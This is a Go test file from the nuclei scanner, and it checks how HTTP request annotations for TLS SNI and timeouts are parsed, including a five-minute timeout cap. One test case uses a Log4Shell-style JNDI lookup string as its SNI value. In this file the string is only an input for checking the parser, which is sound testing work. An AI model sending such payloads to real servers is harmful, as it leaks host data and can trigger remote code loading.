Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
projectdiscovery
GitHub Repository: projectdiscovery/nuclei
Path: blob/dev/pkg/protocols/http/request_annotations_test.go
2843 views
1
package http
2
3
import (
4
"context"
5
"net/http"
6
"testing"
7
"time"
8
9
"github.com/projectdiscovery/gologger"
10
"github.com/projectdiscovery/nuclei/v3/pkg/protocols"
11
"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool"
12
"github.com/projectdiscovery/nuclei/v3/pkg/testutils"
13
"github.com/projectdiscovery/retryablehttp-go"
14
"github.com/stretchr/testify/require"
15
)
16
17
func getExecuterOptions(t *testing.T) *protocols.ExecutorOptions {
18
t.Helper()
19
20
options := testutils.DefaultOptions.Copy()
21
options.Logger = &gologger.Logger{}
22
testutils.Init(options)
23
24
return testutils.NewMockExecuterOptions(options, nil)
25
}
26
27
func TestRequestParseAnnotationsSNI(t *testing.T) {
28
t.Run("compliant-SNI-value", func(t *testing.T) {
29
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
30
rawRequest := `@tls-sni: github.com
31
GET / HTTP/1.1
32
Host: {{Hostname}}`
33
34
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
35
require.Nil(t, err, "could not create http request")
36
37
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
38
require.True(t, modified, "could not apply request annotations")
39
require.Equal(t, "github.com", overrides.request.TLS.ServerName)
40
require.Equal(t, "example.com", overrides.request.Host)
41
})
42
t.Run("non-compliant-SNI-value", func(t *testing.T) {
43
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
44
rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}
45
GET / HTTP/1.1
46
Host: {{Hostname}}`
47
48
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
49
require.Nil(t, err, "could not create http request")
50
51
overrides, modified := req.parseAnnotations(rawRequest, httpReq)
52
require.True(t, modified, "could not apply request annotations")
53
require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)
54
require.Equal(t, "example.com", overrides.request.Host)
55
})
56
}
57
58
func TestRequestParseAnnotationsTimeout(t *testing.T) {
59
t.Run("positive", func(t *testing.T) {
60
request := &Request{
61
options: getExecuterOptions(t),
62
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
63
}
64
rawRequest := `@timeout: 2s
65
GET / HTTP/1.1
66
Host: {{Hostname}}`
67
68
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
69
require.Nil(t, err, "could not create http request")
70
71
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
72
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
73
require.True(t, modified, "could not get correct modified value")
74
75
// Verify context has deadline
76
deadline, deadlined := overrides.request.Context().Deadline()
77
require.True(t, deadlined, "could not get set request deadline")
78
79
// Verify the timeout value is stored in context
80
customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)
81
require.True(t, ok, "custom timeout not found in context")
82
require.Equal(t, 2*time.Second, customTimeout.Timeout, "timeout value mismatch")
83
84
// Verify deadline is approximately 2 seconds from now
85
expectedDeadline := time.Now().Add(2 * time.Second)
86
require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set correctly")
87
})
88
89
t.Run("large-timeout", func(t *testing.T) {
90
request := &Request{
91
options: getExecuterOptions(t),
92
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
93
}
94
95
// Request a timeout of 10 minutes - should be capped at 5 minutes
96
rawRequest := `@timeout: 10m
97
GET / HTTP/1.1
98
Host: {{Hostname}}`
99
100
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
101
require.Nil(t, err, "could not create http request")
102
103
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
104
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
105
require.True(t, modified, "could not get correct modified value")
106
107
// Verify context has deadline
108
deadline, deadlined := overrides.request.Context().Deadline()
109
require.True(t, deadlined, "could not get set request deadline")
110
111
// Verify the timeout was capped at 5 minutes (not 10 minutes)
112
customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)
113
require.True(t, ok, "custom timeout not found in context")
114
115
require.Equal(t, 5*time.Minute, customTimeout.Timeout, "timeout should be capped at 5 minutes")
116
require.Less(t, customTimeout.Timeout, 10*time.Minute, "timeout should be less than requested 10 minutes")
117
118
// Verify deadline matches the capped timeout
119
expectedDeadline := time.Now().Add(5 * time.Minute)
120
require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set to capped timeout")
121
})
122
123
t.Run("below-cap-timeout", func(t *testing.T) {
124
request := &Request{
125
options: getExecuterOptions(t),
126
connConfiguration: &httpclientpool.Configuration{NoTimeout: true},
127
}
128
129
// Request a timeout of 2 minutes - should be allowed (below 5 minute cap)
130
rawRequest := `@timeout: 2m
131
GET / HTTP/1.1
132
Host: {{Hostname}}`
133
134
httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
135
require.Nil(t, err, "could not create http request")
136
137
overrides, modified := request.parseAnnotations(rawRequest, httpReq)
138
require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")
139
require.True(t, modified, "could not get correct modified value")
140
141
// Verify context has deadline
142
deadline, deadlined := overrides.request.Context().Deadline()
143
require.True(t, deadlined, "could not get set request deadline")
144
145
// Verify the timeout is NOT capped - should be 2 minutes
146
customTimeout, ok := overrides.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)
147
require.True(t, ok, "custom timeout not found in context")
148
149
require.Equal(t, 2*time.Minute, customTimeout.Timeout, "timeout should be the requested 2 minutes")
150
151
// Verify deadline matches the requested timeout
152
expectedDeadline := time.Now().Add(2 * time.Minute)
153
require.WithinDuration(t, expectedDeadline, deadline, 100*time.Millisecond, "deadline not set to requested timeout")
154
})
155
156
t.Run("negative", func(t *testing.T) {
157
request := &Request{
158
options: getExecuterOptions(t),
159
connConfiguration: &httpclientpool.Configuration{},
160
}
161
rawRequest := `GET / HTTP/1.1
162
Host: {{Hostname}}`
163
164
httpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, "https://example.com", nil)
165
require.Nil(t, err, "could not create http request")
166
167
newRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)
168
require.Nil(t, newRequestWithOverrides.cancelFunc, "cancel function should be nil")
169
require.False(t, modified, "could not get correct modified value")
170
_, deadlined := newRequestWithOverrides.request.Context().Deadline()
171
require.False(t, deadlined, "could not get set request deadline")
172
})
173
}
174
175